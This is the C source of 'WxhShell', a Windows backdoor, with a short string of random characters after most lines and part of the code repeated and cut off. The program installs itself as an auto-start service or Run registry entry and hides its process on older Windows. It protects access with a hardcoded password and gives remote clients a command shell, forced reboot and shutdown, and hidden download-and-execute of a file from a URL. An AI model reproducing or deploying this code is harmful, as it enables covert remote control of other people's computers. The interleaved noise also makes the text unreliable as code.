sD HANDLE hProcess; <RGH+4LF PROCESS_BASIC_INFORMATION pbi; sT M;l, T6U/}&{O HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zJe KB8 if(NULL == hInst ) return 0; oP&/>GmXL z5E%*] g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (Rw<1q`, g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KGz Nj% NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uoS:-v}/Y~ G{U#9 if (!NtQueryInformationProcess) return 0; IiU> VLa XB)D".\ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $|N6I if(!hProcess) return 0; {213/@, NAGM3{\5v$ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |N.2iN: _f1o!4ocx CloseHandle(hProcess); Ar`+x5
cHjQwl hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )PX VR
T if(hProcess==NULL) return 0; -'! J?~ k^J8 p#`6 HMODULE hMod; 8<=^Rkz char procName[255]; hbw(o
unsigned long cbNeeded; "tJ+v*E k# [!; < if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &@0~]\,D7 Q_5l.M/9] CloseHandle(hProcess); cS ~OxAS Q Be6\oq if(strstr(procName,"services")) return 1; // 以服务启动 qE[S>/R"
,"v&r( return 0; // 注册表启动 cU1o$NRx } LP2~UVq [h/T IGE\ // 主模块 \TQZZ_Z int StartWxhshell(LPSTR lpCmdLine) @- U\!Tf { _D '(R SOCKET wsl; M5dYcCDE BOOL val=TRUE; NkZG int port=0; bZqTT~'T struct sockaddr_in door; J=g)rd[` O2w-nd74U if(wscfg.ws_autoins) Install(); zF1!a Abc{<4 z0? port=atoi(lpCmdLine); [9m3@Yd' FK%b@/7s~ if(port<=0) port=wscfg.ws_port; %w;qu1j &V].,12x WSADATA data; yW_yHSx; if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $J[( 3 iC"iR\Qu if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 8q2a8I9g setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Qb536RpcTY door.sin_family = AF_INET; E&M(QX5 door.sin_addr.s_addr = inet_addr("127.0.0.1"); c;l!i- door.sin_port = htons(port); XiUq#84Q UP~28%>X if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `m,4#P-kj closesocket(wsl); (MwRe?Ih return 1; ,}oAc } ;Afz`Se1@ p~D}Iyww1_ if(listen(wsl,2) == INVALID_SOCKET) { djd/QAfSC closesocket(wsl); )U/jD return 1; R9J!}az' } ZpTDM1ro Wxhshell(wsl); o! a,r3 WSACleanup(); ':*H#}Br-# i8]EIXbMX return 0; d"wA"*8~y G|6qL } 77>oQ~q 8mI(0m' // 以NT服务方式启动 0At0`Q# VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @8d 3 { m1$tf
^ DWORD status = 0; I^NDJdxd DWORD specificError = 0xfffffff; !T6R[ Oa|c ?|+ serviceStatus.dwServiceType = SERVICE_WIN32; |RX#5Q>z serviceStatus.dwCurrentState = SERVICE_START_PENDING; eqx }]# serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1IXtu serviceStatus.dwWin32ExitCode = 0; )Z7Vm2a serviceStatus.dwServiceSpecificExitCode = 0; X\^V{v^- serviceStatus.dwCheckPoint = 0; wJp<ZL serviceStatus.dwWaitHint = 0; hnj\|6L ,9&cIUH hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !_fDL6a- if (hServiceStatusHandle==0) return; WAu>p3
NxP(&M( status = GetLastError(); &:&'70Ya if (status!=NO_ERROR) *z0!=>( {
a_?sJ serviceStatus.dwCurrentState = SERVICE_STOPPED; |T:R.=R$~ serviceStatus.dwCheckPoint = 0; 8$( I! ; serviceStatus.dwWaitHint = 0; Qqm?%7A1 serviceStatus.dwWin32ExitCode = status; C}huU serviceStatus.dwServiceSpecificExitCode = specificError; -/f$s1 SetServiceStatus(hServiceStatusHandle, &serviceStatus); *+M#D^qo return; {j2V k)\[i } mLCDN1UO{ }b_Ob serviceStatus.dwCurrentState = SERVICE_RUNNING; #QNN;&L]R serviceStatus.dwCheckPoint = 0; AA\a#\#Z3 serviceStatus.dwWaitHint = 0; dN8Mfa) if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q}BMvR 9w } n0(Q/ VAPeMO
ck // 处理NT服务事件,比如:启动、停止 1@]&iZ] VOID WINAPI NTServiceHandler(DWORD fdwControl) >|f"EK}m! { l\<.*6r switch(fdwControl) fO<40!%9cQ { gOF^?M11x case SERVICE_CONTROL_STOP: p9v:T1? serviceStatus.dwWin32ExitCode = 0; 7=-Yxt serviceStatus.dwCurrentState = SERVICE_STOPPED; F8pA)!AH serviceStatus.dwCheckPoint = 0; =uP?
?E serviceStatus.dwWaitHint = 0; (bwD:G9 { B[b>T= SetServiceStatus(hServiceStatusHandle, &serviceStatus); +kSu{Tc } (_FU3ZW! return; O(^h_ case SERVICE_CONTROL_PAUSE: rT2Njy1 serviceStatus.dwCurrentState = SERVICE_PAUSED; xo>0j# break; ]#:WL)@ case SERVICE_CONTROL_CONTINUE: mxNd_{n serviceStatus.dwCurrentState = SERVICE_RUNNING; K%q5:9m break; rc_m{.b case SERVICE_CONTROL_INTERROGATE:
M @5&. break; ]!/ }; J0xHpe SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6bm 7^e( } ,#Z%0NLe [LoQYDku // 标准应用程序主函数 HP# SR';E int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (W}F\P { WZQ2Mi<&1' c'oiW)8;A // 获取操作系统版本 $ XjijD9R OsIsNt=GetOsVer(); \n<!
ld GetModuleFileName(NULL,ExeFile,MAX_PATH); VLuHuih erH,EE^-x< // 从命令行安装 bRAD_ if(strpbrk(lpCmdLine,"iI")) Install(); /,\V}`Lx" y:'Ns$+ // 下载执行文件 1wFu3fh@ if(wscfg.ws_downexe) { 5B=uvp|Y if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)
"*d6E}wG WinExec(wscfg.ws_filenam,SW_HIDE); \^)i!@v } gd;!1GNi] #Oka7.yz if(!OsIsNt) { VN`.*B|9[ // 如果时win9x,隐藏进程并且设置为注册表启动 2KLMFI.F HideProc(); ibkB>n{( StartWxhshell(lpCmdLine); U,g8:M
xHK } H4g8
1V= else ~[;r)
g\ if(StartFromService()) V}y]< // 以服务方式启动 sT^R0Q'> StartServiceCtrlDispatcher(DispatchTable); ddQ+EY@! else wJC[[_"3 I // 普通方式启动 D$l!lRu8+L StartWxhshell(lpCmdLine); sq|\!T ^{M$S0g|N return 0; 4=Th<,< } t;* zr* =B}IsBn'J ng}C$d . I K_YrdA)6 =========================================== 9$)&b\D uu6 JZp |
0 }UPC~kC+Z #^}H)>jWy /.]u%;%r[ " C19N0= 3x~7N #include <stdio.h> ebBi zc= #include <string.h> O#)1zD} #include <windows.h> T5:Q_o] #include <winsock2.h> 5wue2/gl #include <winsvc.h> VrIN.x #include <urlmon.h> sxT&T=7 cL9gaD$;) #pragma comment (lib, "Ws2_32.lib") "xlR>M6e #pragma comment (lib, "urlmon.lib") jg]KE8( z~t0l #define MAX_USER 100 // 最大客户端连接数 \Oq2{Sx\ #define BUF_SOCK 200 // sock buffer J
8
KiL #define KEY_BUFF 255 // 输入 buffer ,`f]mv l #D9.A7fCc5 #define REBOOT 0 // 重启 'g%:/lwA #define SHUTDOWN 1 // 关机 m7^f%<l u8c@q'_ #define DEF_PORT 5000 // 监听端口 'V]C.`9c _d 6'f8[& #define REG_LEN 16 // 注册表键长度 d*8*9CpO: #define SVC_LEN 80 // NT服务名长度 }u;K<<h: r D@*xMW // 从dll定义API Z5t^D| typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]N 9N][n typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bTJ<8q typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^6 wWv&G[8 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P*KIk~J o< @![P
// wxhshell配置信息 lTC0kh struct WSCFG { LG8h@HY&L int ws_port; // 监听端口 -=5~h char ws_passstr[REG_LEN]; // 口令 26p[x'W int ws_autoins; // 安装标记, 1=yes 0=no ]hV!lG1_ char ws_regname[REG_LEN]; // 注册表键名 ;t0q
?9 char ws_svcname[REG_LEN]; // 服务名 T +vo)9w char ws_svcdisp[SVC_LEN]; // 服务显示名 Mp/l*"( char ws_svcdesc[SVC_LEN]; // 服务描述信息 '>
ib
K| char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m ""+$ int ws_downexe; // 下载执行标记, 1=yes 0=no sT;wHtU char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ba[,9l[ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 uE.BB# 3O,nNt;L{ }; +j{Cfv$do Xqw}O2QQ1 // default Wxhshell configuration H$Kc~#= struct WSCFG wscfg={DEF_PORT, Q0(6n8i "xuhuanlingzhe", ,]EhDW6 1, MsXw
8D "Wxhshell", ^2-
<XD) "Wxhshell", >e {1e "WxhShell Service", Z5Lmg "Wrsky Windows CmdShell Service", ?#w} S% "Please Input Your Password: ", 9)7$U QY 1, YVccO~!8 "http://www.wrsky.com/wxhshell.exe", `,6|6.8# "Wxhshell.exe" :&wb+tV }; @dv8 F
"v UF7h{V}) // 消息定义模块 Dizz ?O char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (6$P/k8 char *msg_ws_prompt="\n\r? for help\n\r#>"; KAnV%j char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MS\vrq'_ char *msg_ws_ext="\n\rExit."; hnFpC1TO char *msg_ws_end="\n\rQuit."; 7
0?iZIK _ char *msg_ws_boot="\n\rReboot..."; _Gq6xv\b1 char *msg_ws_poff="\n\rShutdown..."; N`Q.u-' char *msg_ws_down="\n\rSave to "; e%cTFwX?n vS\ 2zwb} char *msg_ws_err="\n\rErr!"; 8GP17j char *msg_ws_ok="\n\rOK!"; <-k! [uU!\xe char ExeFile[MAX_PATH]; Z$/76 int nUser = 0; CFh9@Nx HANDLE handles[MAX_USER]; [XY%<P3D int OsIsNt; n/skDx TE 0S4BV%7F SERVICE_STATUS serviceStatus; 6 ]x?2P% SERVICE_STATUS_HANDLE hServiceStatusHandle; pA*C|g
O?X[&t
// 函数声明 uj6'T Sl int Install(void); ]^C 8Oh< int Uninstall(void);
;v.[aq int DownloadFile(char *sURL, SOCKET wsh); 1*=ev,Z int Boot(int flag); \I!mzo void HideProc(void); d AcSG int GetOsVer(void); XX/gS=NE#. int Wxhshell(SOCKET wsl); ^;_~mq. void TalkWithClient(void *cs); (1'DZxJ&u int CmdShell(SOCKET sock); Z8v 8@Y int StartFromService(void); Oin9lg-jR int StartWxhshell(LPSTR lpCmdLine); LH4A!a] !uGfS' Vl VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~Y x_ 3 VOID WINAPI NTServiceHandler( DWORD fdwControl ); lndz w5 . ^meU // 数据结构和表定义 w~u{"E$ SERVICE_TABLE_ENTRY DispatchTable[] = <}J!_$A { c;kU|_ {wscfg.ws_svcname, NTServiceMain}, ,m<YSMKX {NULL, NULL} FY'0?CT$ }; -LiGO #U vR\E;V // 自我安装 w||t3!M+n int Install(void) OV]xo8a; { <gwRE{6U char svExeFile[MAX_PATH]; Q|)>9m!tt HKEY key; %NQ%6B strcpy(svExeFile,ExeFile); :C_/K(Rkl (C.
$w // 如果是win9x系统,修改注册表设为自启动 1(Is
7 if(!OsIsNt) { nNCR5&,q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X_2N9$}, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )P(S:x'b0 RegCloseKey(key); v8-My1toV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Lw\u{E@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .h W># RegCloseKey(key); XN<!.RCw return 0; XKTDBaON } {}$rN@OM$ } "\@J0|ppb } Ve(<s
else { dCoP
qKy 9Rk(q4.OP // 如果是NT以上系统,安装为系统服务 >.qFhO\1so SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4<($ZN8 if (schSCManager!=0) ^^v3iCT { J,Ki2'= SC_HANDLE schService = CreateService 50MM05aC ( Tm`@5 schSCManager, rT `sY wscfg.ws_svcname, xq;>||B wscfg.ws_svcdisp, >2s6Y SERVICE_ALL_ACCESS, :=B.)]F.) SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E.*hY+kGZ SERVICE_AUTO_START, vt5w(}v( SERVICE_ERROR_NORMAL, wG)e8,# svExeFile, a
Y)vi$;] NULL, %d+Fq=< NULL, c
\??kQH NULL, yc*cT%?g NULL, 9CS"s_ NULL *B3f ry ); ?c?@j}=?yY if (schService!=0) qR.FjQOvn { C?|sQcCE CloseServiceHandle(schService); }p?,J8=- CloseServiceHandle(schSCManager); l?)>"^ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Wq3PN^ strcat(svExeFile,wscfg.ws_svcname); h^(U:M=A if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2-'_Nwkl* RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >IS4 RegCloseKey(key); _-vlN return 0; ;:=j{,&dl[ } _AF$E"f@ } a>vxox) % CloseServiceHandle(schSCManager); 2e\"?y OD } Yuv=<V } _zDS-e@ Tp-W/YC return 1; #MYoy7= } i]<@ GgEg (AT // 自我卸载 z/91v#}. int Uninstall(void) p|gVIsg[-e { C1{Q 4(K% HKEY key; "S#$:92 [,Ul if(!OsIsNt) { K-]) RIM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WblH} RegDeleteValue(key,wscfg.ws_regname); QyA^9@iVs RegCloseKey(key); #Tc`W_- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Mcc%&j RegDeleteValue(key,wscfg.ws_regname); 3DO*kM1s@ RegCloseKey(key); J?{sTj"KB return 0; 9 5!xJdq } ED8{ } (tA[] ne2 } jkl dr@t else { _8$xsj4_ (A2ga):Pk SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #*:1C h]B if (schSCManager!=0) <q'?[aKvR {
zr ez* SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;L:UYhDbUx if (schService!=0) o Tvg%bX { z@UH[>^gj if(DeleteService(schService)!=0) { @wD#+Oz
CloseServiceHandle(schService); O)^F z: CloseServiceHandle(schSCManager); kR1
12J9P return 0; ]foS.D, } ,sj(g/hg CloseServiceHandle(schService); c
k[uvH
} )PR`irw CloseServiceHandle(schSCManager); 1?)h-aN } %ly&~&0 }
bo/U5p R}(Rv3>Xx return 1; uLv } .&5 3sJ0{ R1hmJ // 从指定url下载文件 A]iT
uu5 p int DownloadFile(char *sURL, SOCKET wsh) kK6t|Yn& { e lM<S3 HRESULT hr; UHV"<9tk char seps[]= "/"; \gT({XU? char *token; q !}~c char *file; vZQraY nJ char myURL[MAX_PATH]; R,.qQF\* char myFILE[MAX_PATH]; yuq o ^i lw8t#_P strcpy(myURL,sURL); Jm=3%H token=strtok(myURL,seps); @=g{4(zR^ while(token!=NULL) DCa=o { SIM>Lz file=token; V,zFHXO token=strtok(NULL,seps); ,4,Bc< } F'wG% 9[~.{{Y GetCurrentDirectory(MAX_PATH,myFILE); PQi(Oc strcat(myFILE, "\\"); V,Bol(wY strcat(myFILE, file); a-#$T)mmfj send(wsh,myFILE,strlen(myFILE),0); L send(wsh,"...",3,0); i%i s<' hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v\(6uej^ if(hr==S_OK) +bso4 }rS return 0; q+qF;7dN@ else [fwk[qFa return 1; K
d#(eGe ~"bBwPI } uu-M7>+ 0WZd $ // 系统电源模块 ^[I>#U int Boot(int flag) yz>S($u { 1.,KN:qe HANDLE hToken; t\:=|t, TOKEN_PRIVILEGES tkp; <2O#!bX1 y'6l fThT if(OsIsNt) { |d\1xTBLp OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ME>Sh~C\ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); n[;)( tkp.PrivilegeCount = 1; C!K&d,M tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y ajAz5N AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mxH63$R if(flag==REBOOT) { LGtw4'yr if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]w*` } return 0; a_VWgPVdDS } butBS else { -oZw+ge} if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T#e|{ZCbq return 0; :rk6Stn$z } I(3YXv
VN } wKpD++k else { wU/fGg*M2 if(flag==REBOOT) { 4j,6t|T if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^\S~rW.3_ return 0; Vv`94aQTD } S]}}r) else { O#!|2qN if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [Tvdchl OC return 0; nXuy&;5TL, } @d8Nr: } 2#qcYU CCC9I8rZD return 1; #l* w=D? } M)JozD% Ag{)?5/d_ // win9x进程隐藏模块 0XC3O 8q void HideProc(void) ,1t|QvO { 2/F8kVx{ '"hSX= HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;i [;% if ( hKernel != NULL ) oFzmH!&ED { Fo0s<YlS- pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); SgN?[r) ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vXM{) FreeLibrary(hKernel); 39pA:3iTd } Q7zpu/5? #<V5sgqS return; =|fB":vk } 6B
b+f" SpIiMu( // 获取操作系统版本 |g!$TUS. int GetOsVer(void) FLG{1dS { 0=9$k OSVERSIONINFO winfo; q&:%/?)x winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); McbbEs=) GetVersionEx(&winfo); [1Qg * if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +'w6=qI return 1; !4z vkJO else 4kK_S.& return 0; V~-tp^ } ^%\MOjSN R9K~b^` // 客户端句柄模块 _Wp.s]D [ int Wxhshell(SOCKET wsl) " w /Odd { 4,=;:#n,J SOCKET wsh; $&jVEMia struct sockaddr_in client; >C5u>@%9O DWORD myID; QM~~b=P,\ I2)2'j,B while(nUser<MAX_USER) 7?vj+1; { m*lcIa int nSize=sizeof(client); yI-EF)A@; wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oykb8~u}} if(wsh==INVALID_SOCKET) return 1; k2#|^N U{@2kg- handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); va"bw!zXo* if(handles[nUser]==0) 9@nd>B closesocket(wsh); * vqUOh else l?xd3Z@7[ nUser++; Bq-}BN?pz } V8pZr+AJ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); MlbcJo3 Z(LTHAbBk| return 0; <<Z, 1{3F } >$a;+v
g<$2#c} // 关闭 socket I;UT;/E2 void CloseIt(SOCKET wsh) ^q|W@uG-( { N>)Db closesocket(wsh); : Hu{MN\ nUser--; i{Du6j^j ExitThread(0); gC_KT,=H; } N&$ ,uhmO {#pwr WG // 客户端请求句柄 2^r J|Ni void TalkWithClient(void *cs) m|OB_[9 { lO 0} Jy('tfAHp SOCKET wsh=(SOCKET)cs; e:rbyzf# char pwd[SVC_LEN]; ]8'PLsS9<w char cmd[KEY_BUFF]; t4hc X[ char chr[1];
&Du S* int i,j; T_9o0Q k mGJRCK_ while (nUser < MAX_USER) { "];@N!dA z'"Y+EWN if(wscfg.ws_passstr) { [1z.JfC :S if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :"@-Bcln //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8L6b:$Y3@C //ZeroMemory(pwd,KEY_BUFF); kN#3HI]8 i=0; 5;HCNwX while(i<SVC_LEN) { {&6i$4T pEW~zl // 设置超时 NQvI=R-g fd_set FdRead; DhsvN&yNM struct timeval TimeOut; )ac!@slb^7 FD_ZERO(&FdRead); +NiCt S FD_SET(wsh,&FdRead); /f AAQ7 TimeOut.tv_sec=8; @tJic|)x TimeOut.tv_usec=0; O,NVhU7, int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >Ml5QO$*.q if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *{\))Zmhd (<e<Q~( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MY}K.^4^ pwd=chr[0]; jCIY(/ if(chr[0]==0xd || chr[0]==0xa) { [r'A8!/|[ pwd=0; ki1j~q break; &H+n0v } ' d?6 L i++; 7lKatk+7K } "I9 r>= ~mMTfC~9 // 如果是非法用户,关闭 socket >6)|>#Wi if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lJT"aXt'M } 7;&,LH Sn'
+~6i send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L1y71+iqU send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Vobq|Rd/% .;l`VWP while(1) { o)R<sT G!h75G20 ZeroMemory(cmd,KEY_BUFF); l/\D0\x2 AD@ {7 // 自动支持客户端 telnet标准 Z aS29} j=0; KCH`=lX while(j<KEY_BUFF) { f/iMI)J if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ibG>|hV cmd[j]=chr[0]; w~Vqg:'\$ if(chr[0]==0xa || chr[0]==0xd) { )8SWU)/ cmd[j]=0;
<$WS~tTz break; dep"$pys> } j0(jXAc;UB j++; J(wFJg\/ } m
-hZ5i >Q?8tGfB // 下载文件 SQ/HZ if(strstr(cmd,"http://")) { tCar:p4$ send(wsh,msg_ws_down,strlen(msg_ws_down),0); \<G"9w if(DownloadFile(cmd,wsh)) ErQ6a%~, send(wsh,msg_ws_err,strlen(msg_ws_err),0); UP%6s:>: else "^;h' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ou<,c?nNM } )?c,& else {
X>P|-n# ^5(d^N switch(cmd[0]) { 5O
Y5b8 ts=:r // 帮助 $em'H,*b3 case '?': { )S/=5Uc send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V
w58w`e break; 8F@Sy,D } m7u`r(& // 安装 0z4M/WrNt case 'i': { ItZYOt|Hn if(Install()) ju.pQ=PSX send(wsh,msg_ws_err,strlen(msg_ws_err),0); rPqM&&+ else a(D=ZKbVU send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $$"G1<EZ break; +%u3% } } =9,^Tu| // 卸载 FouN}X6 case 'r': { het<#3Bo if(Uninstall()) N-Z=p)] send(wsh,msg_ws_err,strlen(msg_ws_err),0); _{gqi$Mi else `Pc<0*`a send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !6@ 'H4cb= break; -5ZmIlL.S } BMu Efa^ // 显示 wxhshell 所在路径 Jmi,;Af'/ case 'p': { c %Cbq0+2 char svExeFile[MAX_PATH]; HEIg_6sb strcpy(svExeFile,"\n\r"); Xtz:^tg strcat(svExeFile,ExeFile); ~id:Rh>o send(wsh,svExeFile,strlen(svExeFile),0); g.vE%zKL break; %'Q2c'r } uoeZb=< // 重启 n|XheG7: case 'b': { (/,l0 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xIC@$GP if(Boot(REBOOT)) h:r?:C>n send(wsh,msg_ws_err,strlen(msg_ws_err),0); DuZ Zu else { Q~VM.G closesocket(wsh); /kg#i&bP~ ExitThread(0); u*rP8GuS } '[%#70* break; Ke?,AWfG } w^$C\bCbh // 关机 j%^4
1 y case 'd': { Y?3tf0t/ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lG%697P if(Boot(SHUTDOWN)) :zPK send(wsh,msg_ws_err,strlen(msg_ws_err),0); a !%,2|U else { 6$'*MpYF4 closesocket(wsh); PPIO<K 3` ExitThread(0); M*kE |q/K } #
#2'QNN break; q!@!eC[b } $D#h, ` // 获取shell jy?*` q1] case 's': { gu[EYg CmdShell(wsh); j-W$)c3X closesocket(wsh); =\5WYC ExitThread(0); z+{qQ! break; ,aC}0t } orH6R8P] // 退出 ?X@[ibH6 case 'x': { QOSMV#Nw% send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); RO,TNS~ CloseIt(wsh); 6&ut r!\7 break; e&d$kUJrq } 9n{Y6I
x: // 离开 iBSg`"S^]C case 'q': { A#T"4'#?< send(wsh,msg_ws_end,strlen(msg_ws_end),0); n+ebi>}P closesocket(wsh); d$3md<lIB WSACleanup(); [Tp?u8$p` exit(1); Zja3HGL break; tjb$MW$(' } xw
43P. } aH'fAX0bF } x"e;T,c
vu\W5M // 提示信息 ocZ}RI#Q if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]$r]GVeN}H } m[v0mXE } 1bCE~,tD if|5v^/ return; N wk } Ia}qDGqPp! >*ls}
q^ // shell模块句柄 }
u;{38~ int CmdShell(SOCKET sock) v.Bwg7R3 { )2?]c STARTUPINFO si; NeY*l ZeroMemory(&si,sizeof(si)); y,x 2f%x si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EtN, si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P(k*SB|D PROCESS_INFORMATION ProcessInfo; m1;Htw char cmdline[]="cmd"; yC\UT
~j/ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P ljPhAce return 0; pJ/]\>#5 } O~V^] M^:JhX{ // 自身启动模式 %"mI["{ int StartFromService(void) }? / Blr { \{ EVRRXn typedef struct V_J0I*Qa4 { q x)\{By DWORD ExitStatus; &SbdX DWORD PebBaseAddress; e7;7TrB. DWORD AffinityMask; u.X]K:Yow DWORD BasePriority; q"2APvsvp ULONG UniqueProcessId; Eu(QeST\ ULONG InheritedFromUniqueProcessId; z)C/U } PROCESS_BASIC_INFORMATION; EO)JMV?6 ({t^/b*8 PROCNTQSIP NtQueryInformationProcess; K^fs#7 i-v: % static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1}wDc$O static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {UP[iw$~ 0o>C,
` HANDLE hProcess; zJw5+
+
PROCESS_BASIC_INFORMATION pbi; 88_ef7w b=lJ`| HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); GO"|^W if(NULL == hInst ) return 0; "
7^nRJy I+kAy;2 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c46-8z$ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); PSq?8. NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2QaE&8vW zz
U,0
L if (!NtQueryInformationProcess) return 0; h-ii-c?R@0 J;_4
3eS hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); BQPmo1B if(!hProcess) return 0; vGv<WEE b69nj if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \o[][R#D ^.LB(GZ, CloseHandle(hProcess); BZW03e8| :
b`N(] hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !rRBy3& if(hProcess==NULL) return 0; j ^j"w(a v>`Fo[c HMODULE hMod; ]F+|C char procName[255]; l0,VN,$Yl unsigned long cbNeeded; s_y8+BJaV bI
